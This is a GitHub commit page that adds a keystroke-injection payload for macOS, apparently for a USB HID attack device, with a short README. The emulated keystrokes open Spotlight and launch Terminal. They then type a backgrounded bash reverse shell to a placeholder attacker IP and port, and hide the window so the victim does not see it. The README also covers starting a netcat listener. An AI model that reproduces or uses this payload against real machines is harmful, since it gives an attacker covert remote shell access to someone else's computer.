Skip to content
Permalink
Browse files

Add bash reverse shell alternative payload for mac osx

  • Loading branch information...
dunderhay committed Sep 12, 2019
1 parent e826079 commit 1ee2202378e1a8e7a5da04df31723a6bc7758314
@@ -0,0 +1,26 @@
# Bash One-liner Alternative

* Author: [dunderhay](https://github.com/dunderhay)
* Version: Version 0.1
* Target: Mac-OSX

# Description

Variation of the bash reverse shell for Mac OSX. However, the command is not run in the background and the terminal window is minimized / hidden using `(⌘) + h` not closed. This allows Job Control to manage Foreground and Background Processes. _Note:_ Sigint (Ctrl-C) will kill the shell.

# Notes

Change the Attacker IP address and port number as required.

## Start listener first

Use a netcat listener such as; `nc -lv <port>` on mac.

## Keys Used

The following keys presses are emulated:

| Key | In English | What it does |
| --- | ------------ | ---------- |
| 131+32 | Command (⌘) + Spacebar | Opens spotlight |
| 131+104 | Command (⌘) + h | Hide terminal app window |
@@ -0,0 +1,4 @@
Press:131+32
PrintLine:terminal
PrintLine:nohup bash -c "bash -i >& /dev/tcp/<attacker_ip>/<port> 0>&1" >/dev/null 2>&1; clear
Press:131+104

0 comments on commit 1ee2202

Please sign in to comment.
You can’t perform that action at this time.